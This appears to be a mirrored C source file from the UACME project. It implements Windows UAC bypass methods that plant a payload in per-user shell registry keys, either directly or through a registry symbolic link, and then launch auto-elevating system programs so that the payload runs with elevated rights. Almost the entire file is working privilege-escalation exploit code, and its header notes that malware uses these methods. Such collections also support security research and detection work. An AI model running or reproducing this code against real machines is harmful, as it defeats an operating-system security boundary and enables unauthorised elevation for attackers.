mirror of
https://github.com/hfiref0x/UACME
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hfiref0x
493 lines
12 KiB
C
493 lines
12 KiB
C
/*******************************************************************************
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*
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* (C) COPYRIGHT AUTHORS, 2016 - 2020
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*
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* TITLE: SHELLSUP.C
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*
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* VERSION: 3.50
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*
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* DATE: 14 Sep 2020
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*
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* Shell registry hijack autoelevation methods.
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*
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* Used by various malware.
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*
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* For description please visit original URL
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* https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
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* https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
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* https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
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* https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
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* https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
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* http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
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* https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
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* https://packetstormsecurity.com/files/155927/Microsoft-Windows-10-Local-Privilege-Escalation.html
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*
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* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
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* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
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* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
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* PARTICULAR PURPOSE.
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*
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*******************************************************************************/
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#include "global.h"
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/*
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* ucmxSetSlaveParams
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*
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* Purpose:
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*
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* Set slave key parameters.
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*
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*/
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NTSTATUS ucmxSetSlaveParams(
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_In_ HANDLE KeyHandle,
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_In_ LPWSTR Payload
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)
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{
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NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
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SIZE_T sz;
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DWORD cbData, dummy;
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dummy = 0;
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cbData = 0;
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ntStatus = supRegWriteValue(KeyHandle,
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T_DELEGATEEXECUTE,
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REG_SZ,
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&dummy,
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cbData);
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if (NT_SUCCESS(ntStatus)) {
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//
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// Set "Default" value as our payload.
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//
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sz = (1 + _strlen(Payload)) * sizeof(WCHAR);
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ntStatus = supRegWriteValue(KeyHandle,
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NULL,
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REG_SZ,
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(PVOID)Payload,
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(ULONG)sz);
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}
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return ntStatus;
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}
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/*
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* ucmxCreateSlaveKey
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*
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* Purpose:
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*
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* Create temporary key with all required values.
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*
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*/
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NTSTATUS ucmxCreateSlaveKey(
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_In_ HANDLE RootKey,
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_In_ LPWSTR Payload,
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_Inout_ LPWSTR SlaveKey //cch max MAX_PATH
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)
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{
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NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
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GUID guidTemp;
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LPWSTR lpGuidKey = NULL;
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HKEY hKey;
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SIZE_T sz;
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do {
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if (CoCreateGuid(&guidTemp) != S_OK)
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break;
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if (StringFromCLSID(&guidTemp, &lpGuidKey) != S_OK)
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break;
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sz = (1 + _strlen(lpGuidKey)) * sizeof(WCHAR);
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_strncpy(SlaveKey, MAX_PATH, lpGuidKey, MAX_PATH);
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//
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// Slave key with data.
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//
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if (ERROR_SUCCESS == RegCreateKey(RootKey,
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lpGuidKey,
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&hKey))
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{
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ntStatus = ucmxSetSlaveParams(hKey, Payload);
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RegCloseKey(hKey);
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}
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} while (FALSE);
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if (lpGuidKey)
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CoTaskMemFree(lpGuidKey);
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return ntStatus;
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}
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/*
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* ucmShellRegModMethod
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*
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* Purpose:
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*
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* Bypass UAC using various registry shell key modifications.
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*
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*/
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NTSTATUS ucmShellRegModMethod(
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_In_ UCM_METHOD Method,
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LPWSTR lpTargetKey,
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LPWSTR lpszTargetApp,
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LPWSTR lpszPayload
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)
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{
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NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
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BOOLEAN bSlaveCreated = FALSE;
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NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
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HANDLE masterRootKey = NULL, classesKey = NULL, targetKey = NULL;
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OBJECT_ATTRIBUTES obja;
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UNICODE_STRING usCurrentUser, usMasterKey, usSlaveKey;
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WCHAR szSlaveKey[MAX_PATH * 2];
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WCHAR szMasterKey[MAX_PATH * 2];
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WCHAR szClasses[MAX_PATH];
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WCHAR szBuffer[MAX_PATH * 2];
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SHELLEXECUTEINFO shinfo;
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LPWSTR lpSlaveNtKey = NULL;
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DWORD dummy;
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SIZE_T sz;
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UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");
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HRESULT hr_init;
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hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
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RtlSecureZeroMemory(&szSlaveKey, sizeof(szSlaveKey));
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#ifndef _WIN64
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if (g_ctx->IsWow64) {
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ntStatus = supEnableDisableWow64Redirection(TRUE);
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if (!NT_SUCCESS(ntStatus))
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return ntStatus;
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}
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#endif
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do {
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//
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// Remember current user reg name.
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//
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ntStatus = RtlFormatCurrentUserKeyPath(&usCurrentUser);
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if (!NT_SUCCESS(ntStatus))
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break;
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//
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// Open classes root.
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//
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ntStatus = supOpenClassesKey(&usCurrentUser, &classesKey);
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if (!NT_SUCCESS(ntStatus))
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break;
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//
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// Create slave key.
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//
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szSlaveKey[0] = L'\\';
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szSlaveKey[1] = 0;
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ntStatus = ucmxCreateSlaveKey(
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classesKey,
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lpszPayload,
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&szSlaveKey[1]);
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if (!NT_SUCCESS(ntStatus))
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break;
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bSlaveCreated = TRUE;
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//
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// Allocate slave NT regpath.
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//
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sz = (MAX_PATH + _strlen(szSlaveKey) * sizeof(WCHAR)) +
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usCurrentUser.MaximumLength;
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lpSlaveNtKey = (PWSTR)supHeapAlloc(sz);
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if (lpSlaveNtKey == NULL)
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break;
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RtlInitEmptyUnicodeString(&usSlaveKey, lpSlaveNtKey, sz);
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ntStatus = RtlAppendUnicodeStringToString(&usSlaveKey, &usCurrentUser);
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if (!NT_SUCCESS(ntStatus))
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break;
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szClasses[0] = L'\\';
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szClasses[1] = 0;
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_strcpy(&szClasses[1], T_SOFTWARE_CLASSES);
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ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szClasses);
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if (!NT_SUCCESS(ntStatus))
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break;
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ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szSlaveKey);
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if (!NT_SUCCESS(ntStatus))
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break;
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//
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// Create empty master key.
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//
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_strncpy(szMasterKey, MAX_PATH, lpTargetKey, MAX_PATH);
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_strcat(szMasterKey, T_SHELL_OPEN);
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if (ERROR_SUCCESS != RegCreateKeyEx(classesKey,
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szMasterKey,
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0,
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NULL,
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REG_OPTION_NON_VOLATILE,
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MAXIMUM_ALLOWED,
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NULL,
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(HKEY*)&masterRootKey,
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NULL))
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{
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break;
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}
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//
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// Open/create master key.
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//
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RtlInitUnicodeString(&usMasterKey, T_SHELL_COMMAND);
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InitializeObjectAttributes(&obja, &usMasterKey, OBJ_CASE_INSENSITIVE, masterRootKey, NULL);
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ntStatus = NtCreateKey(&targetKey,
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KEY_ALL_ACCESS,
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&obja, 0, NULL,
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REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE,
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&dummy);
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//
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// If link already created, update it.
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//
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if (ntStatus == STATUS_OBJECT_NAME_COLLISION) {
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obja.Attributes |= OBJ_OPENLINK;
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ntStatus = NtOpenKey(&targetKey,
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KEY_ALL_ACCESS,
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&obja);
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}
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if (!NT_SUCCESS(ntStatus))
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break;
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sz = _strlen(usSlaveKey.Buffer) * sizeof(WCHAR);
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ntStatus = NtSetValueKey(targetKey,
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&CmSymbolicLinkValue,
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0,
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REG_LINK,
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(PVOID)usSlaveKey.Buffer,
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(ULONG)usSlaveKey.Length);
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if (!NT_SUCCESS(ntStatus))
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break;
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NtClose(targetKey);
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targetKey = NULL;
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if ((Method == UacMethodShellChangePk) || (Method == UacMethodShellSdclt)) {
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_strcpy(szBuffer, g_ctx->szSystemDirectory);
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_strcat(szBuffer, lpszTargetApp);
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RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
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shinfo.cbSize = sizeof(shinfo);
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shinfo.lpVerb = RUNAS_VERB;
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shinfo.lpFile = szBuffer;
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shinfo.nShow = SW_SHOWNORMAL;
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shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
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if (ShellExecuteEx(&shinfo)) {
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Sleep(5000);
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TerminateProcess(shinfo.hProcess, 0);
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CloseHandle(shinfo.hProcess);
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MethodResult = STATUS_SUCCESS;
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}
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}
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else {
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if (supRunProcess(lpszTargetApp, NULL))
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MethodResult = STATUS_SUCCESS;
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}
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} while (FALSE);
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if (targetKey) NtClose(targetKey);
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if (lpSlaveNtKey) supHeapFree(lpSlaveNtKey);
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//
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// Cleanup slave key.
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//
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if (bSlaveCreated) {
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if (classesKey) {
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RegDeleteKey(classesKey, &szSlaveKey[1]);//skip slash
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}
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}
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if (classesKey)
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NtClose(classesKey);
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if (SUCCEEDED(hr_init)) CoUninitialize();
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//
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// Remove symlink.
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//
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szMasterKey[0] = L'\\';
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szMasterKey[1] = 0;
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_strcpy(&szMasterKey[1], T_SOFTWARE_CLASSES);
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_strcat(szMasterKey, TEXT("\\"));
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_strcat(szMasterKey, lpTargetKey);
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_strcat(szMasterKey, T_SHELL_OPEN);
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_strcat(szMasterKey, TEXT("\\"));
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_strcat(szMasterKey, T_SHELL_COMMAND);
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supRemoveRegLinkHKCU(szMasterKey);
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#ifndef _WIN64
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if (g_ctx->IsWow64) {
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supEnableDisableWow64Redirection(FALSE);
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}
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#endif
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return MethodResult;
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}
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/*
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* ucmShellRegModMethod2
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*
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* Purpose:
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*
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* Bypass UAC using various registry shell key modifications.
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*
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*/
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NTSTATUS ucmShellRegModMethod2(
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_In_ UCM_METHOD Method,
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LPWSTR lpTargetKey,
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LPWSTR lpszTargetApp,
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LPWSTR lpszPayload
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)
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{
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BOOLEAN bBackupAvailable = FALSE;
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NTSTATUS MethodResult = STATUS_ACCESS_DENIED, ntStatus;
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HANDLE hClassesRoot, hSubKey = NULL;
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DWORD dwDisp = 0;
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WCHAR szKey[MAX_PATH];
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PWSTR pwszKey;
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UNREFERENCED_PARAMETER(Method);
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#ifndef _WIN64
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if (g_ctx->IsWow64) {
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ntStatus = supEnableDisableWow64Redirection(TRUE);
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if (!NT_SUCCESS(ntStatus))
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return ntStatus;
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}
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#endif
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do {
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ntStatus = supOpenClassesKey(NULL, &hClassesRoot);
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if (!NT_SUCCESS(ntStatus))
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break;
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RtlSecureZeroMemory(&szKey, sizeof(szKey));
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_strcpy(szKey, lpTargetKey);
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_strcat(szKey, T_SHELL_OPEN);
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_strcat(szKey, TEXT("\\"));
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_strcat(szKey, T_SHELL_COMMAND);
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//
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// If "command" key exist - backup it.
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//
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if (ERROR_SUCCESS == RegOpenKeyEx(hClassesRoot,
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szKey,
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0,
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MAXIMUM_ALLOWED,
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(HKEY*)&hSubKey))
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{
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RegCloseKey(hSubKey);
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bBackupAvailable = (RegRenameKey(hClassesRoot,
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szKey,
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MYSTERIOUSCUTETHING) == ERROR_SUCCESS);
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}
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_strcat(szKey, TEXT("~"));
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hSubKey = NULL;
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if (ERROR_SUCCESS != RegCreateKeyEx(hClassesRoot,
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szKey,
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0,
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NULL,
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REG_OPTION_NON_VOLATILE,
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MAXIMUM_ALLOWED,
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NULL,
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(HKEY*)&hSubKey,
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&dwDisp))
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{
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break;
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}
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ntStatus = ucmxSetSlaveParams(hSubKey, lpszPayload);
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if (!NT_SUCCESS(ntStatus))
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break;
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RegCloseKey(hSubKey);
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hSubKey = NULL;
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RegRenameKey(hClassesRoot, szKey, T_SHELL_COMMAND);
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if (supRunProcess(lpszTargetApp, NULL))
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MethodResult = STATUS_SUCCESS;
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} while (FALSE);
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if (hSubKey) RegCloseKey(hSubKey);
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//
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// Cleanup section.
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//
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_strcpy(szKey, lpTargetKey);
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_strcat(szKey, T_SHELL_OPEN);
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_strcat(szKey, TEXT("\\"));
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if (bBackupAvailable) {
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pwszKey = _strend(szKey);
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_strcat(szKey, T_SHELL_COMMAND);
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RegDeleteKey(hClassesRoot, szKey);
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*pwszKey = 0;
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_strcat(szKey, MYSTERIOUSCUTETHING);
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RegRenameKey(hClassesRoot,
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szKey,
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T_SHELL_COMMAND);
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}
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else {
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_strcat(szKey, T_SHELL_COMMAND);
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RegDeleteKey(hClassesRoot, szKey);
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}
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if (hClassesRoot) NtClose(hClassesRoot);
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#ifndef _WIN64
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if (g_ctx->IsWow64) {
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supEnableDisableWow64Redirection(FALSE);
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}
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#endif
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return MethodResult;
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}
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